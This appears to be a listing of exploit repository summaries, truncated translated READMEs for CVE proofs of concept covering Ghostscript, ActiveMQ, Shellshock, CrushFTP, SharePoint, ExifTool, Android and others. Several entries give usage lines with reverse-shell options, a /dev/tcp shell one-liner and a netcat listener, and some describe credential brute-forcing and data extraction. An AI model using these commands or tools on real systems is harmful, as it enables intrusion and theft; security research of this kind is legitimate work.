CVE-2023-43208

CVE-2023-43208 Mirth Connect RCE PoC Mirth Connect의 CVE-2023-43208 을 대상으로 하는 개념 증명PoC Python 스크립트입니다. 면책 조항 소유하고 있거나 명시적으로 테스트할 권한이 있는 환경에서만 사용하세요. 이 저장소는 보안 연구, 검증, 방어적 테스트를 위한 것입니다. 저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다. 개요 exp.py는 PoC의 최소 의존성 버전으로, 다음과 같은 기능을 수행합니다: 대상이 Mirth Connect 인스턴스로 보이는...

CVE-2026-100370

The DOMSanitizer library for PHP 7.3+ is vulnerable to an input-validation defect in its isDangerousUrl() method prior to version 1.0.15 . While the sanitizer correctly rejects the "javascript:" scheme, it only rejects the "data:" scheme if the literal substring "onload" is present. This allows a...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic 실습 환경 이 저장소는 Apache ActiveMQ Classic의 CVE-2026-34197 을 연구하고 취약한 인스턴스를 패치된 빌드와 비교하기 위한 로컬 실습 환경을 포함합니다. 이 저장소는 두 가지 목표를 지원하도록 구성되어 있습니다: 문제를 엄격히 통제되고 격리된 환경에서 재현합니다. 패치된 ActiveMQ Classic 빌드에서 수정 동작을 검증합니다. 면책 조항 이 저장소는 귀하가 소유하거나 명시적으로 테스트가 허가된 격리된 실습 환경에서 엄격히 합법적이고...

ApacheStruts-CVE-2018-11776

Apache Struts CVE-2018-11776 Python PoC 이것은 https://github.com/hook-s3c/CVE-2018-11776-Python-PoC를 기반으로 합니다. 컨테이너 빌드 및 지침이 README에 설명된 대로 작동하지 않아 이 포크가 생성되었습니다. 사용된 PoC 익스플로잇은 Rapid7에서 제공되었습니다. 감사 인사: hook-s3c github.com/hook-s3c, @hooks3c 트위터 Rapid7...

CVE-2020-12753-PoC

CVE-2020-12753-PoC 이 저장소는 LG Stylo 4 AMZ/Q710ULM에서 Secure EL3 임의 코드 실행을 위한 SBL1/aboot 취약점인 🔋📱❄️🥾🔓의 개념 증명PoC을 포함합니다. 업데이트 20a 및 20c와 취약점의 SBL1 변형에서만 테스트되었습니다. - Makefile : Builds rawresourcesamod.img given sblrop.s and rawresources.img884736 - rawresources.img884736 : Original rawresources...

CVE-2021-38647

CVE-2021-38647 这是一个针对 CVE-2021-38647 的 POC： 发送一个 POST 请求到 /wsman，请求体包含 payload.xml 的内容，只需将命令替换为你想要的命令， 作为 POC，仅执行 id 命令。 来源：https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure 喜欢的话请关注：https://twitter.com/silentgh00st...

CVE-2023-36664

CVE-2023-36664 : Ghostscript 원격 코드 실행 CVE-2023-36664에 대한 개념 증명 코드입니다. 사용법 .eps 파일에 페이로드를 삽입하려면: python3 poc.py -f "파일이름" --payload "명령어" python3 poc.py -f file.eps --payload firefox .eps 파일에 리버스 셸 페이로드를 삽입하려면: python3 poc.py -f "파일이름" --revshell --ip "IP" --port "포트" python3 poc.py -f file.eps...

Root-My-Galaxy-Payloads

Root My Galaxy ペイロード このリポジトリには、Root My Galaxy のデバイス固有のネイティブ側が含まれています： 正確なファームウェアプロファイルとオフセット； アプリドメインの CVE-2026-43499 エクスプロイトのソースとコンパイル済みペイロード； アプリブートストラップヘルパーのソース； 検証済みの KernelSU レイトロードビルド成果物； アプリケーションが消費するサポートフィード。 Android アプリケーションのソースコードは意図的に含まれていません。 対応ペイロード ペイロード| 対応モデル| カーネルバージョン| ステータス...

mouseserver-exploit

Mobile Mouse 3.6.0.4 RCE - 修正版 Mobile Mouse 3.6.0.4 のリモートコード実行エクスプロイトの修正版で、EDB-51010 として公開されています。 脆弱性 CVE: CVE-2023-31902 影響を受けるバージョン: Mobile Mouse 3.6.0.4 デフォルトポート: TCP/9099 修正内容 元のエクスプロイトはペイロードのダウンロードには成功しますが、両方のステージが同じ TCP 接続を使用するため、実行に失敗する可能性があります。 この修正版では以下の処理を行います: 最初のセッションを通じてペイロードをダウンロード...

CVE-2026-56164-EXP

Microsoft SharePoint Server の特権昇格 - CVE-2026-56164 動作する認証不要のEOPエクスプロイト。 概要 SharePoint Serverのユーザープロファイルおよびサイトコレクションエンドポイントにおける、重要な機能に対する認証の欠如（CWE-306）。リモートの攻撃者が匿名状態からサイトコレクション管理者 / ファーム管理者レベルへ権限を昇格させることができます。 /vtibin/client.svc に対する巧妙に細工されたSOAPペイロードを介して認証ゲートを回避します。 影響を受けるバージョン SharePoint Server...

EvilDroid

EvilDroid: CVE-2024-0044 자동 익스플로잇 도구 EvilDroid 는 CVE-2024-0044 취약점 자동 익스플로잇을 위한 정교한 도구입니다. 이 스크립트는 페이로드 배포와 APK 설치를 자동화하여 취약한 Android 애플리케이션을 손쉽게 공략할 수 있도록 합니다. 개요 EvilDroid는 CVE-2024-0044 취약점을 자동으로 악용하여 대상 기기에 악성 페이로드를 설치하고 민감한 데이터를 추출합니다. ADB 연결 확인, APK 푸시, UID 추출, 페이로드 생성 및 실시간 진행 상황 업데이트를 자동화...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...

CVE-2025-24813

CVE-2025-24813 CVE-2025-24813의 간단한 재현 분석을 수행하고, 간단한 익스플로잇 스크립트를 작성했습니다 usage: CVE-2025-24813.py -h -u URL -d DATA CVE-2025-24813 optional arguments: -h, --help show this help message and exit -u URL, --url URL URL -d DATA, --data DATA base64serialdata 예시 vulhub를 사용하여 취약한 서비스를 시작하고, urldns 체인을 사용하...

CVE-2025-31161

CVE-2025-31161 - CrushFTP ユーザー作成認証バイパスエクスプロイト 📌 説明 このPythonエクスプロイトは、CVE-2025-31161 の脆弱性がある CrushFTP サーバーを対象としています。この脆弱性により、細工されたXMLペイロードをWebInterfaceに送信することで認証なしでユーザーアカウントを作成 でき、場合によってはサーバーの完全な乗っ取りにつながる可能性があります。 ⚠️ 免責事項 このツールは教育目的および許可されたセキュリティテスト専用です。 所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法...

-CVE-2025-0133-GlobalProtect-XSS

mitsecvpnxssexploit 🔓 GlobalProtect SSL VPN 엔드포인트 /ssl-vpn/getconfig.esp를 대상으로, URL에 제작된 XSS 페이로드를 추가하는 익스플로잇입니다. 사용법 python3 exploit.py -u https://target.com 파라미터 -u, --url: 대상 기본 URL 쿼리 파라미터는 포함하지 마세요 페이로드 미리보기 prompt"mitsec" 작성자 GitHub: ynsmroztas Twitter: @ynsmroztas...

CVE-2026-82397

A flaw was found in Tornado. An unauthenticated remote attacker could send a specially crafted request with a large number of fields in the URL-encoded body. This could cause the single-threaded event loop to stall, leading to a Denial of Service DoS for all connections. The vulnerability occurs...

Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS Exploit은 Python 스크립트입니다. 이 스크립트는 먼저 제공된 워드리스트를 사용하여 무차별 대입 인증 시도를 수행합니다. 유효한 자격 증명이 발견되면 CVE-2024-23724 취약점을 확인하고, 취약한 경우 익스플로잇 페이로드를 생성합니다. 요구 사항: 1. Python 3.x 설치 2. 필수 라이브러리 설치: pip install requests 3. 같은 디렉토리에 boilerplate.svg 파일이 있어야 함 익스플로잇 페이로드 생성에 사용 4. 사용자 이름과...

cPanel-CVE-2023-29489

cPanel CVE-2023-29489에 대한 PoC XSS Payload...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행에 사용할 수 있는 JPEG 이미지 페이로드를 생성하십시오. 사용자 지정 명령을 제공하거나 리버스 셸을 생성할 수 있습니다. JPEG 이미지가 자동으로 생성되며, 선택적으로 사용자 지정 JPEG 이미지를 제공하여 페이로드를 삽입할 수 있습니다...

CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신의 2개 이미지를 포함한 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신합니다: nc -nlvp 4444 • 공격자 머신으로 reverse shell 연결을 생성하는 페이로드를 전송합니다: python3 exploit.py -i 172.18.0.3 -p...